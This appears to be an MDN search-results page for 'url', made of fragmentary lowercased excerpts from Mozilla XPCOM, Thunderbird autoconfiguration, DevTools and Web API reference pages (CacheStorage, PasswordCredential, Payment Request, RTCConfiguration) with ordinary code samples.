...key the key to be overridden. return value the override value. an exception is thrown if the key has not been overridden. however, no exception is thrown if the original string bundle did not have the key. ...
...le whose keys are to be overridden. return value an enumeration of nsipropertyelement objects for the keys that are overridden in the given string bundle. note that these keys may not exist in the original string bundle. getstringfromname() get the override value for a particular key in a particular string bundle. astring getstringfromname( in autf8string
url, in acstring key ); parameters
url the
url of the original string bundle whose keys are to be overridden. key the key to be overridden. return value the override value. an exception is thrown if the key has not been overridden. however, no exception is thrown if the original string bundle did not have the key. ...
nsIUTF8ConverterService
imap folder names). aallowsubstitution when true, allow the decoder to substitute invalid input sequences by replacement characters. return value the converted string in utf-8. exceptions thrown ns_error_uconv_noconv when there is no decoder for acharset or error code of nsiunicodedecoder in case of conversion failure. ...
...ptions thrown ns_error_uconv_noconv when there is no decoder for acharset or error code of nsiunicodedecoder in case of conversion failure. converturispectoutf8() ensure that aspec (after
url-unescaping it) is encoded in utf-8. if not, convert it to utf-8, assuming it's encoded in acharset, and return the result. make sure that all characters outside us-ascii in your input spec are
url-escaped if your spec is not in utf-8 (before
url-escaping) because the presence of non-ascii characters is blindly regarded as an indication that your input spec is in unescaped utf-8 and it will be returned without further processing. no valid spec going around in mozilla code would break this assumption. autf8string converturispectoutf8( in acstring aspec, in string acharset ); parameters ...
...acharset the character set to convert from if aspec is not in utf-8. return value the converted spec in utf-8. ...
nsIWindowWatcher
wserchrome getchromeforwindow(in nsidomwindow awindow); nsiauthprompt getnewauthprompter(in nsidomwindow aparent); nsiprompt getnewprompter(in nsidomwindow aparent); nsidomwindow getwindowbyname(in wstring atargetname, in nsidomwindow acurrentwindow); nsisimpleenumerator getwindowenumerator(); nsidomwindow openwindow(in nsidomwindow aparent, in string a
url, in string aname, in string afeatures, in nsisupports aarguments); void registernotification(in nsiobserver aobserver); void setwindowcreator(in nsiwindowcreator creator); void unregisternotification(in nsiobserver aobserver); attributes attribute type description activewindow nsidomwindow the watcher serves as a global storage faci...
...atch a "toplevel-window-ready" notification via nsiobserverservice if the window did not already exist. note: supported nsisupportsprimitive objects will be reflected into window.arguments as the base type, however id, void and 64-bit primitive types are not currently supported and will reflect into window.arguments as null. nsidomwindow openwindow( in nsidomwindow aparent, in string a
url, in string aname, in string afeatures, in nsisupports aarguments ); parameters aparent the parent window, if any. null if no parent. if it is impossible to get to an nsiwebbrowserchrome from aparent, this method will effectively act as if aparent were null. a
url the
url to open in the new window. must already be escaped, if applicable. can be null. aname a window name assigned usi...
... aname a window name assigned using window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open. can be null. if a window with this name already exists, the openwindow call may just load a
url in it (if a
url is not null) and return it. afeatures window features. see window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open for details. can be null. list of feature options a...
XPCOM Interface Reference
idroppedlinkitemnsidynamiccontainernsieditornsieditorboxobjectnsieditordocshellnsieditorimesupportnsieditorloggingnsieditormailsupportnsieditorobservernsieditorspellchecknsieffectivetldservicensienumeratornsienvironmentnsierrorservicensieventlistenerinfonsieventlistenerservicensieventsourcensieventtargetnsiexceptionnsiextensionmanagernsiexternalhelperappservicensiexternalprotocolservicensiexternal
urlhandlerservicensiftpchannelnsiftpeventsinknsifactorynsifavicondatacallbacknsifaviconservicensifeednsifeedcontainernsifeedelementbasensifeedentrynsifeedgeneratornsifeedpersonnsifeedprocessornsifeedprogresslistenernsifeedresultnsifeedresultlistenernsifeedtextconstructnsifilensifileinputstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsifilespecnsifilestreamsnsifile
urlnsifileutilitiesnsif...
...nsiselectionnsiselection2nsiselection3nsiselectioncontrollernsiselectionimageservicensiselectionprivatensiserversocketnsiserversocketlistenernsiservicemanagernsisessionstartupnsisessionstorensisimpleenumeratornsismsdatabaseservicensismsrequestmanagernsismsservicensisocketprovidernsisocketproviderservicensisockettransportnsisockettransportservicensisoundnsispeculativeconnectnsistackframensistandard
urlnsistreamconverternsistreamlistenernsistringbundlensistringbundleoverridensistringbundleservicensistringenumeratornsistructuredclonecontainernsistylesheetservicensisupportsnsisupports proxiesnsisupportsarraynsisupportscstringnsisupportscharnsisupportsdoublensisupportsfloatnsisupportsidnsisupportsinterfacepointernsisupportsprboolnsisupportsprint16nsisupportsprint32nsisupportsprint64nsisupportsprtim...
...ernsithreadpoolnsithreadpoollistenernsitimernsitimercallbacknsitoolkitnsitoolkitprofilensitoolkitprofileservicensitraceablechannelnsitransactionnsitransactionlistnsitransactionlistenernsitransactionmanagernsitransferablensitransportnsitransporteventsinknsitransportsecurityinfonsitreeboxobjectnsitreecolumnnsitreecolumnsnsitreecontentviewnsitreeselectionnsitreeviewnsiurinsiurifixupnsiurifixupinfonsi
urlnsi
urlformatternsi
urlparsernsiutf8converterservicensiutf8stringenumeratornsiuuidgeneratornsiupdatensiupdatechecklistenernsiupdatecheckernsiupdateitemnsiupdatemanagernsiupdatepatchnsiupdatepromptnsiupdatetimermanagernsiuploadchannelnsiuploadchannel2nsi
urllistmanagercallbacknsiusercertpickernsiuserinfonsivariantnsiversioncomparatornsiweakreferencensiwebbrowsernsiwebbrowserchromensiwebbrowserchrome2n...
Autoconfiguration in Thunderbird
host customer domains, i.e. you are "hoster.com", but your customers have "fred@flintstone.com" and "louis@kent.com" as domains, with only a few users per domain, you need to set up a configuration server (or rely on dns mx). if you are a small company installing thunderbird on your employees' desktops, you can place a configuration file in the thunderbird installation folder. ispdb database
url is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g. <https://autoconfig.thunderbird.net/v1.1/freenet.de>. current process: file a bug in bugzilla, product "webtools", component "ispdb database entries", with a configuration file that matches the requirements described below. the component is actively watched for new bugs (as of november 2015) so there is no need to request...
...below. the component is actively watched for new bugs (as of november 2015) so there is no need to request review on the file. configuration server at isp given the email address "fred@example.com", thunderbird checks <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com> (preferred) and <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> and the same
urls with http (see section ssl below). the results are used in this order of preference. if possible, please use <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com>. small company if you are a small company, you can put the xml configuration file on your web server, at
url <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> pointing to an xml file. d...
... all config files must be served as content-type: text/xml (or application/xml), otherwise the file will be ignored. also, they must use charset utf-8 (esp. if there are any non-ascii-characters). if you like to use name-based virtual hosts you probably don't want to setup the autoconfig subdomain for every domain of your customers. you can add a rewriterule ...
Working with windows in chrome code
ow (primitives only) for those times when you don't have access to a window object (such as a javascript xpcom object), you can use nsiwindowwatcher.openwindow to open a xul window. the problem is passing the data. it's a bit harder than using window.opendialog. ...
...the parent window can be null. the only data types that can be passed to the new window are primitives and arrays. javascript objects cannot be passed. all of the arguments are passed by value, that is to say that any changes made to the values in th...
...ed, though it is possible to pass multiple objects and primitives using a combination of this and the example above. // in the calling code var args = { param1: true, param2: 42 }; args.wrappedjsobject = args; var watcher = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); watcher.openwindow(null,
url, windowname, features, args); // in the window code var args = window.arguments[0].wrappedjsobject; this uses the wrappedjsobject trick. by passing args to openwindow xpconnect will automatically wrap it as a generic nsisupports. the opened window can then just get at the underlying javascript object using wrappedjsobject. advanced data sharing the above code is useful when you need to pass ...
Using js-ctypes
ar libcf = ctypes.open('/system/library/frameworks/corefoundation.framework/corefoundation'); // define types var cfindex = ctypes.long; var cfoptionflags = ctypes.unsigned_long; var cftimeinterval = ctypes.double; var cftyperef = ctypes.voidptr_t; var sint32 = ctypes.long; var void = ctypes.void_t; var __cfstring = new ctypes.structtype("__cfstring"); var cfstringref = __cfstring.ptr; var __cf
url = new ctypes.structtype("__cf
url"); var cf
urlref = __cf
url.ptr; var __cfallocator = new ctypes.structtype("__cfallocator"); var cfallocatorref = __cfallocator.ptr; var unichar = ctypes.jschar; // uint16 with automatic conversion // define constants var kcfusernotificationstopalertlevel = 0; var kcfusernotificationnotealertlevel = 1; var kcfusernotificationcautionalertlevel = 2; var kcfuserno...
...alertlevel = 1; var kcfusernotificationcautionalertlevel = 2; var kcfusernotificationplainalertlevel = 3; // declare functions /* https://developer.apple.com/library/mac/documentation/corefoundation/reference/cfusernotificationref/index.html#//apple_ref/c/func/cfusernotificationdisplaynotice * sint32 cfusernotificationdisplaynotice ( * cftimeinterval timeout, * cfoptionflags flags, * cf
urlref icon
url, * cf
urlref sound
url, * cf
urlref localization
url, * cfstringref alertheader, * cfstringref alertmessage, * cfstringref defaultbuttontitle * ); */ var cfusernotificationdisplaynotice = libcf.declare("cfusernotificationdisplaynotice", ctypes.default_abi, sint32, // return cftimeinterval, // timeout cfoptionflags, // flags cf
urlref, // icon
url cf
urlref, // s...
...icon
url, * cf
urlref sound
url, * cf
urlref localization
url, * cfstringref alertheader, * cfstringref alertmessage, * cfstringref defaultbuttontitle * ); */ var cfusernotificationdisplaynotice = libcf.declare("cfusernotificationdisplaynotice", ctypes.default_abi, sint32, // return cftimeinterval, // timeout cfoptionflags, // flags cf
urlref, // icon
url cf
urlref, // sound
url cf
urlref, // localization
url cfstringref, // alertheader cfstringref, // alertmessage cfstringref // defaultbuttontitle ); /* https://developer.apple.com/library/mac/documentation/corefoundation/reference/cftyperef/#//apple_ref/c/func/cfrelease * void cfrelease ( * cftyperef cf * ); */ var cfrelease = libcf.declare('cfrelease', ctypes.default_abi, void, // return cftyperef // ...
Mozilla
occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell check dictionary in firefox. this article describes the process for adding a word to the dictionary. adding phishing protection data providers phishing protection technology lets firefox help protect users by comparing the
urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list. an introduction to hacking mozilla this guide introduces the mozilla project and provides an overview for developers interested in contributing to or exploring the various parts of the codebase. android-specific test suites ...
...verview this happens in nshttpchannel::opencacheentry(). all top level document loading (navigation) channels are set chooseapplicationcache flag, which happens in nsdocshell::douriload(). channels having that flag set are searching for nsiapplicationcache object prior inspecting normal http cache. nsiapplicationcacheservice::chooseapplicationcache is given the
url the channel is about to load. it synchronously returns an nsiapplicationcache object representing the most recent cache version from the most recent cache group containing the entry under the
url or a matching namespace. benchmarking debug builds (--enable-debug) and non-optimized builds (--disable-optimize) are much slower. any performan...
... the observer interface to signal the external code when predefined events occur. here is a very simple example of the observer pattern: creating mozsearch plugins firefox 2 uses a simplified form of the opensearch format for storing search plugins. a mozsearch search plugin is an xml file that describes the search engine, its
url, and the parameters that need to be passed to that
url. creating reftest-based unit tests the reftest harness compares the display of two web pages. if the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes. if they differ, the test fails. or, alternatively, the conditions can be reversed ...
Initialization and Destruction - Plugins
0" width="100" loop="true"> with the embed element in the example, the browser passes the values in argv to the plug-in instance: argc = 4 argn = { "src", "height", "width", "loop" } argv = { "movie.avi", "100", "100", "true" } the saved parameter allows an instance of a plug-in to save its data and, when the instance is destroyed, pass the data to the next instance of the plug-in at the same
url. the data is saved in the history list. as long as the plug-in still appears in this list, that saved data is associated with the page; any new instances receive this data. instance destruction plug-in instances are created with npp_new and destroyed with npp_destroy. the browser calls npp_destroy when a plug-in instance is deleted, usually because the user has left the page containing the inst...
...because the instance window is no longer guaranteed to be valid. also, be sure to delete any private instance-specific information stored in the plug-in's instance->pdata. nperror npp_destroy(npp instance, npsaveddata **save); the instance parameter represents the plug-in instance to delete. the plug-in can use the optional save parameter to save data for reuse by a new instance with the same
url. the data is passed to npp_new through its saved parameter. for example, a video player could save the last frame number to be displayed. when the user returns to the page, the previous frame number is passed to the new instance of the plug-in, so it can initially display the same frame. note that you cannot count on data being saved this way; the data may be lost if the browser restarts or purg...
...f the optional save parameter of npp_destroy and saved parameter of npp_new. in npp_new, the saved parameter contains previously saved data for this instance of the plug-in (saved by npp_destroy). the plug-in must free the memory for npsaveddata and the buffer it contains. in npp_destroy, the save parameter specifies state or other information to save for reuse by a new instance with the same
url. to ensure that the browser does not crash or leak memory when the saved data is discarded, the buf field should be a flat structure (a simple structure with no allocated substructures) allocated with npn_memalloc, as in this example: char* mydata = "here is some saved data.\n"; int32 mylength = strlen(mydata) + 1; *save = (npsaveddata*) npn_memalloc(sizeof(npsaveddata)); (*save)->len = myl...
Debugger.Script - Firefox Developer Tools
body of a function—that is, all the code in the function that is not contained within some nested function. the code passed to a single call to eval, excluding the bodies of any functions that code defines. the contents of a <script> element. a dom event handler, whether embedded in html or attached to the element by other javascript code. code appearing in a javascript:
url. the debugger interface constructs debugger.script objects as scripts of debuggee code are uncovered by the debugger: via the onnewscript handler method; via debugger.frame’s script properties; via the functionscript method of debugger.object instances; and so on. for a given debugger instance, spidermonkey constructs exactly one debugger.script instance for each underlying script object; d...
...operty. thus, we use a/b to refer to theb defined withina, and a< to refer to a function that occurs somewhere within an expression that is assigned toa. for example: function h() { var i = function() {}; // display name: h/i f(function () {}); // display name: h/< } var s = f(function () {}); // display name: s< if the instance refers to webassembly code, throw a typeerror.
url if the instance refers to a jsscript, the filename or
url from which this script’s code was loaded. for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid
url and followed by information tracking how the code was introduced into the system; the entire string is not a valid
url. for function.prototype’s script, this is null. if thi...
...ript’s code was loaded. for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid
url and followed by information tracking how the code was introduced into the system; the entire string is not a valid
url. for function.prototype’s script, this is null. if this debugger.script’s source property is non-null, then this is equal to source.
url. if the instance refers to webassembly code, throw a typeerror. startline if the instance refers to a jsscript, the number of the line at which this script’s code starts, within the file or document named by
url. linecount if the instance refers to a jsscript, the number of lines this script’s code occupies, within the file or document named by
url. source if the instance refers t...
Migrating from Firebug - Firefox Developer Tools
rom firebug to the firefox developer tools, you may wonder where the features you loved in firebug are available in the developer tools. the following list aims to help firebug users to find their way into the developer tools. for the latest developer tools and features, try firefox developer edition. download firefox developer edition general activation firebug's activation is
url based respecting the same origin policy. that means that when you open a page on the same origin in a different tab, firebug gets opened automatically. and when you open a page of a different origin in the same tab, it closes automatically. the devtools' activation on the other hand is tab based. that means, that when you open the devtools in a tab, they stay open even when you switch between dif...
...and you hit enter. you can also manually enter a line break by pressing shift + enter. response preview there is a preview tab when a network request logged to the console is expanded in firebug. the web console displays a preview within the response tab. it is currently missing the preview for html, xml and svg, though, which is tracked in bug 1247392 and bug 1262796, but when you click on the
url of the request you switch to the network monitor, which has a preview tab. inspector firebug has an html panel, which allows to edit html/xml/svg and the css related to it. within the devtools this functionality is served by the page inspector. edit html within the page inspector the tag attributes and the contents can be edited inline just like in firebug. beyond that it allows to edit the t...
...u listing all javascript sources related to the website. those sources can be static, i.e. files, or they can be dynamically generated (i.e. scripts executed via event handlers, eval(), new function(), etc.). in the devtools' debugger panel the scripts are listed at the left side within the sources side panel. dynamically generated scripts are only listed there when they are named via a //# source
url comment. managing breakpoints in firebug you can set different types of breakpoints, which are all listed within the breakpoints side panel. in the devtools the breakpoints are shown below each script source within the sources side panel. those panels allow you to enable and disable single or all breakpoints and to remove single breakpoints or all of them at once. they do currently only allow t...
Examine and edit HTML - Firefox Developer Tools
t attribute remove attribute break on ... ...
...inner html for the element. (copy) outer html copy the outer html for the element. pressing ctrl + c (or cmd + c on a mac) also performs this action. (copy) unique selector/css selector copy a css selector that uniquely selects the element. (copy) css path copy a css selector that represents the full path to the element. (copy) image data-
url copy image as a data://
url, if the selected element is an image. (copy) attribute copy the attribute of the element. show dom properties open the split console and enter the console command "inspect($0)" to inspect the currently selected element. use in console assigns the currently selected node to a variable named temp0 (or temp1 if temp0 is already taken...
...y when invoked over a link, such as an href attribute) opens the linked item in a new tab. open file in debugger (only when invoked over a link to a js source) opens the linked source in the debugger. open file in style-editor (only when invoked over a link to a css source) opens the linked source in the style editor. copy link address (only when invoked over a
url) copy the
url. (change pseudo-class) hover set the :hover css pseudo-class. (change pseudo-class) active set the :active css pseudo-class. (change pseudo-class) focus set the :focus css pseudo-class. (change pseudo-class) focus-within set the :focus-within css pseudo-class. (change pseudo-class) visited set the :visited css pseudo-class.
CacheStorage.match() - Web APIs
the match() method of the cachestorage interface checks if a given request or
url string is a key for a stored response. this method returns a promise for a response, or a promise which resolves to undefined if no match is found. you can access cachestorage through the global caches property. cache objects are searched in creation order. note: caches.match() is a convenience method. equivalent functionality is to call cache.match() on each cache (in the order returned by caches.keys()) until a response is returned. syntax caches.match(request, options).then(function(response) { // do something with the response }); parameters request the request you want to match. this can be a request object or a
url string. options optional an object whose properties control how matching i...
... for example, if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ...
....com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the
url matches you will get a match regardless of whether the response object has a vary header or not. it defaults to false. cachename: a domstring that represents a specific cache to search within. return value a promise that resolves to the matching response. if no matching response to the specified request is found, the promise resolves with undefined. examples this example is from the md...
CacheStorage - Web APIs
hes.match('/sw-test/gallery/mylittlevader.jpg'); }); } })); }); this snippet shows how the api can be used outside of a service worker context, and uses the await operator for much more readable code. // try to get data from the cache, but fall back to fetching it live. ...
...d outside of a service worker context, and uses the await operator for much more readable code. // try to get data from the cache, but fall back to fetching it live. async function getdata() { const cacheversion = 1; const cachename = `myapp-${ cacheversion }`; const
url = 'https://jsonplaceholder.typicode.com/todos/1'; let cacheddata = await getcacheddata( cachename,
url ); if ( cacheddata ) { console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add(
url ); cacheddata = await getcacheddata( cachename,
url ); await deleteoldcaches( cachename ); return cacheddata; } // get data from the cache. async function ...
...{ console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add(
url ); cacheddata = await getcacheddata( cachename,
url ); await deleteoldcaches( cachename ); return cacheddata; } // get data from the cache. async function getcacheddata( cachename,
url ) { const cachestorage = await caches.open( cachename ); const cachedresponse = await cachestorage.match(
url ); if ( ! cachedresponse || ! cachedresponse.ok ) { return false; } return await cachedresponse.json(); } // delete any old caches to respect user's disk space. async function deleteoldcaches( currentcache ) { const keys = await caches.keys(); for ( const ...
ContentIndex.getAll() - Web APIs
array of contentdescription items. contentdescription each item returned is an object containing the following data: id: a unique string identifier. title: a string title for the item. used in user-visible lists of content. title: a string title of the item. used in user-visible lists of content. description: a string description of the item. used in user-visible lists of content.
url: a string containing the
url of the corresponding html document. needs to be under the scope of the current service worker. category: optional a string defining the category of content. can be: '' an empty string, this is the default. homepage article video audio icons: optional an array of image resources, defined as an object with the following data: s...
... sizes: optional a string representation of the image size. type: optional the mime type of the image. exceptions no exceptions are thrown. if there are no items in the content index, an empty array is returned. ...
... unknown initial definition. ...
DirectoryReaderSync - Web APIs
tries(), create the directoryentrysync object. but directoryentrysync (as well as fileentrysync) is not a data type that you can pass between a calling app and web worker thread. it's not a big deal, because you don't really need to have the main app and the worker thread see the same javascript object; you just need them to access the same files. you can do that by passing a list of filesystem:
urls—which are just strings—instead of a list of entries. you can also use the filesystem:
url to look up the entry with resolvelocalfilesystem
url(). that gets you back to a directoryentrysync (as well as fileentrysync) object. example in the following code snippet from html5rocks, we create web workers and pass data from it to the main app. // taking care of the browser-specific prefixes. w...
......
... console.log(fileentry.name); }); }); }; worker.postmessage({'cmd': 'list'}); the following is worker.js code that gets the contents of the directory. // taking care of the browser-specific prefixes. self.requestfilesystemsync = self.webkitrequestfilesystemsync || self.requestfilesystemsync; // global for holding the list of entry file system
urls. var paths = []; function getallentries(dirreader) { var entries = dirreader.readentries(); for (var i = 0, entry; entry = entries[i]; ++i) { // stash this entry's filesystem in
url paths.push(entry.to
url()); // if this is a directory, traverse. if (entry.isdirectory) { getallentries(entry.createreader()); } } } // forward the error to main app. function onerr...
Cross-global fetch usage - Web APIs
this article explains an edge case that occurs with fetch (and potentially other apis exhibiting the same kind of resource retrieval behavior). when a cross-origin fetch involving a relative
url is initiated from an <iframe>, the relative
url used to be resolved against the current global location, rather than the iframe's location. the edge case many sites will never comes up against this edge case. to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base
url you have to use the fetch function cross-global, e.g. ...
...n <iframe>, the relative
url used to be resolved against the current global location, rather than the iframe's location. the edge case many sites will never comes up against this edge case. to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base
url you have to use the fetch function cross-global, e.g. frame.contentwindow.fetch() the
url passed to fetch needs to be relative the problem in the past we would resolve the relative
url against the current global, for example: let absolute = new
url(relative, window.location.href) this is not a problem as such. it is just that different apis that exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problems further d...
...the relative
url against the current global, for example: let absolute = new
url(relative, window.location.href) this is not a problem as such. it is just that different apis that exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problems further down the line. the solution in firefox 60 onwards, mozilla resolves the relative
url against the global that owns the fetch() function being used (see bug 1432272). so in the case described above, it is resolved against the iframe's location: let absolute = new
url(relative, frame.contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align with this behavior change, to mitigate potential problems going forward. ...
GlobalEventHandlers.onerror - Web APIs
error reports. syntax for historical reasons, different arguments are passed to window.onerror and element.onerror handlers (as well as on error-type window.addeventlistener handlers). window.onerror window.onerror = function(message, source, lineno, colno, error) { ... }; function parameters: message: error message (string). available as event (sic!) in html onerror="" handler. source:
url of the script where the error was raised (string) lineno: line number where error was raised (number) colno: column number for the line where the error occurred (number) error: error object (object) when the function returns true, this prevents the firing of the default event handler. window.addeventlistener('error') window.addeventlistener('error', function(event) { ... }) event of ty...
...error reported is simply "script error." this behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers. a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript. ...
... knowing that the error detail is only viewable in the browser console and not accessible via javascript. window.onerror = function (msg,
url, lineno, columnno, error) { var string = msg.tolowercase(); var substring = "script error"; if (string.indexof(substring) > -1){ alert('script error: see browser console for detail'); } else { var message = [ 'message: ' + msg, '
url: ' +
url, 'line: ' + lineno, 'column: ' + columnno, 'error object: ' + json.stringify(error) ].join(' - '); alert(message); } return false; }; when using the inline html markup (<body onerror="alert('an error occurred')">), the html specification requires arguments passed to onerror to be named event, source, lineno, colno, error. in browsers that have not impleme...
HTMLCanvasElement.toBlob() - Web APIs
supported image format. the code snippet below, for example, takes the image in the <canvas> element whose id is "canvas", obtains a copy of it as a png image, then appends a new <img> element to the document, whose source image is the one created using the canvas. var canvas = document.getelementbyid('canvas'); canvas.toblob(function(blob) { var newimg = document.createelement('img'),
url =
url.createobject
url(blob); newimg.onload = function() { // no longer need to read the blob so it's revoked
url.revokeobject
url(
url); }; newimg.src =
url; document.body.appendchild(newimg); }); note that here we're creating a png image; if you add a second parameter to the toblob() call, you can specify the image type. for example, to get the image in jpeg format: canvas.to...
... var canvas = document.getelementbyid...
... var canvas = document.getelementbyid('canvas'); var ...
MediaSource.MediaSource() - Web APIs
f the mediasource interface constructs and returns a new mediasource object with no associated source buffers. syntax var mediasource = new mediasource(); parameters none. ...
... ...
... ...
MediaSource.readyState - Web APIs
r myreadystate = mediasource.readystate; value a domstring. ...
... mediasource.readystate; value a domstring. ...
... recommend...
MerchantValidationEvent() - Web APIs
ers type a domstring which must be merchantvalidation, the only type of event which uses the merchantvalidationevent interface. options optional an optional dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. validation
url optional the
url from which to retrieve payment handler specific verification information used to validate the merchant. this is an empty string by default. return value a newly-created merchantvalidationevent providing the information that needs to be delivered to the client-side code to present to the user agent by calling complete(). exceptions typeerror the string specified as v...
... rangeerror the specified methodname does not correspond to a known and supported merchant or is not a well-formed standard payment method identifier. specifications specification status comment payment request apithe definition of 'merchantvalidationevent()' in that specification. candidate recommendation initial definition. ...
...ieve payment handler specific verification information used to validate the merchant. this is an empty string by default. return value a newly-created merchantvalidationevent providing the information that needs to be delivered to the client-side code to present to the user agent by calling complete(). exceptions typeerror the string specified as validation
url could not be parsed as a
url. rangeerror the specified methodname does not correspond to a known and supported merchant or is not a well-formed standard payment method identifier. specifications specification status comment payment request apithe definition of 'merchantvalidationevent()' in that specification. candidate recommendation initial definition. ...
MerchantValidationEvent - Web APIs
tvalidationevent object describing a merchantvalidation event that will be sent to the payment handler to request that it validate the merchant. properties merchantvalidationevent.methodname secure context a domstring providing a unique payment method identifier for the payment handler that's requiring validation. this may be either one of the standard payment method identifier strings or a
url that both identifies and handles requests for the payment handler, such as https://apple.com/apple-pay. merchantvalidationevent.validation
url secure context a usvstring specifying a
url from which the site or app can fetch payment handler specific validation information. once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to val...
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent' in that specification. ...
...which the site or app can fetch payment handler specific validation information. once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant. methods merchantvalidationevent.complete() secure context pass the data retrieved from the
url specified by validation
url into complete() to complete the validation process for the paymentrequest. specifications specification status comment payment request apithe definition of 'merchantvalidationevent' in that specification. candidate recommendation initial definition. ...
NDEFRecord.recordType - Web APIs
"mime" represents a mime type ndef record. "unknown" represents an unknown ndef record. ...
... "mime" represents a mime type ndef record. "unknown" represents an unknown ndef record. ...
... "mime" represents a mime type ndef record. "unknown" represents an unknown ndef record. ...
PasswordCredential.additionalData - Web APIs
example the following example creates a formdata object with an appended csrf token. ...
... example the following example creates a formdata object with an appended csrf token. ...
... example the following example creates a formdata object with an appended csrf token. it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch. //the options object was previously created. ...
PasswordCredential - Web APIs
n the credential member of the init object for global fetch. note: this interface is restricted to top-level contexts and cannot be used from an <iframe>. constructor passwordcredential()secure context creates a new passwordcredential object. properties inherits properties from its ancestor, credential. passwordcredential.additionaldata secure context one of a formdata instance, a
urlsearchparams instance, or null. the data in the objects will be added to the request body and sent to the remote endpoint with the credentials. passwordcredential.icon
url read only secure context a usvstring containing a
url pointing to an image for an icon. this image is intended for display in a credential chooser. the
url must be accessible without authentication. passwordcredential.idname ...
...re context a usvstring representing the name that will be used for the password field when submitting the current object to a remote endpoint via fetch. this property defaults to 'password', but may be overridden to match whatever the backend service expects. event handlers none. methods none. examples var cred = new passwordcredential({ id: id, password: password, name: name, icon
url: icon
url }); navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out ht...
... ? webview android full support 51chrome android full support 51firefox android ? opera android ? safari ios ? samsung internet android full support 5.0icon
url experimentalchrome full support 52edge full support ≤79firefox ? ie ? opera full support yessafari ? webview android full support ...
Payment processing concepts - Web APIs
y of a merchant in some way, usually using some form of cryptographic response such as a public key. validated merchants are allowed to interface with a payment handler. payment method identifiers payment handlers are identified by payment method identifiers, which are strings uniquely identifying the payment handler. these may be either one of the standardized payment handler identifiers, or a
url used by the payment processing service to both identify itself and to handle payments. standardized payment method identifiers there is currently only one registered standardized payment method identifier (more may be added in the future): basic-card payments are handled by the basic card payment specification. see basiccardrequest for details. should have an article about this specificatio...
...ocessing service to both identify itself and to handle payments. standardized payment method identifiers there is currently only one registered standardized payment method identifier (more may be added in the future): basic-card payments are handled by the basic card payment specification. see basiccardrequest for details. should have an article about this specification and how to use it.
url-based payment method identifiers these may vary substantially depending on the specifics of the service, and a given processing service may have multiple
urls used, depending on the version of their api, their communication technology, and so forth. https://apple.com/apple-pay payments are handled using the apple pay service. currently, apple pay is only supported by safari. https://google.
...yment handler. the exact validation technology depends on the payment handler, and merchant validation is entirely optional. in the end, the only thing that the web site or app is responsible for is fetching the merchant's validation key and passing it into the event's complete() method. paymentrequest.onmerchantvalidation = function(event) { event.complete(fetchvalidationdata(event.validation
url)); } in this example, fetchvalidationdata() is a function which loads the payment handler specific identifying information from the address given by validation
url. note this function must go through the merchant server, because a client typically does not access the validation
url itself. by then delivering this data (or a promise which resolves to the loaded data) to the payment handler by pa...
RTCConfiguration - Web APIs
the same certificate for subsequent calls, the remote peer can tell you're the same caller. this also avoids the cost of generating new keys. <<<--- add link to information about identity --->>> example the configuration below establishes two ice servers. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. ...
...generating new keys. <<<--- add link to information about identity --->>> example the configuration below establishes two ice servers. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. the second server has two
urls: stun:stun.example.com and stun:stun-1.example.com. ...
...ication, so the username and password are provided. the second server has two
urls: stun:stun.example.com and stun:stun-1.example.com. var configuration = { iceservers: [{
urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, {
urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection: icecandidateerror event - Web APIs
connection.onicecandidateerror description the error object's errorcode property is one of the numeric stun error codes. there is one additional, webrtc-specific, error which lies outside the valid stun error code range: 701. error 701 indicates that none of the ice candidates were able to successfully make contact with the stun or turn server. the 701 error is fired only once per server
